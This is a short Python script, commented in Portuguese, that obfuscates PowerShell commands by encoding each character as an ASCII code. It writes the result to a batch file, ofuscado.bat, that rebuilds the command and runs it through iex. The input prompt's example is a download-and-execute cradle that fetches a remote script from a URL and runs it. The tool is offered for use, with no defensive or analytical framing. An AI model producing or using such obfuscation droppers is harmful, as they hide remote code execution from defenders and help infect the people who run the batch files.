# ofuscar.py
import sys

def ofuscar_powershell(comando_powershell):
    """
    Ofusca um comando PowerShell usando técnica de códigos ASCII
    Mantém o @echo off normal
    """
    # Converte cada caractere do comando PowerShell para código ASCII
    ascii_codes = [str(ord(c)) for c in comando_powershell]
    
    # Monta o script ofuscado
    script = f'''@echo off
powershell "$u=[char[]]({','.join(ascii_codes)})-join'';iex($u)"'''
    
    return script

def main():
    print("="*60)
    print("OFUSCADOR DE COMANDOS POWERSHELL (TÉCNICA ASCII)")
    print("="*60)
    print()
    print("Digite ou cole o comando PowerShell que deseja ofuscar:")
    print("(Exemplo: $er='http://site.com/script.txt';iex(irm $er))")
    print()
    
    # Lê o comando PowerShell
    comando = input("Comando: ")
    
    if not comando.strip():
        print("\n[ERRO] Nenhum comando digitado!")
        return
    
    # Ofusca o comando
    resultado = ofuscar_powershell(comando)
    
    print("\n" + "="*60)
    print("COMANDO OFUSCADO:")
    print("="*60)
    print()
    print(resultado)
    print()
    print("="*60)
    
    # Pergunta se quer salvar em arquivo
    salvar = input("\nDeseja salvar como 'ofuscado.bat'? (s/n): ").lower()
    
    if salvar == 's':
        with open('ofuscado.bat', 'w', encoding='utf-8') as f:
            f.write(resultado)
        print("\n✓ Arquivo 'ofuscado.bat' criado com sucesso!")
        print("  Execute com: ofuscado.bat")
    
    print("\n" + "="*60)

if __name__ == "__main__":
    main()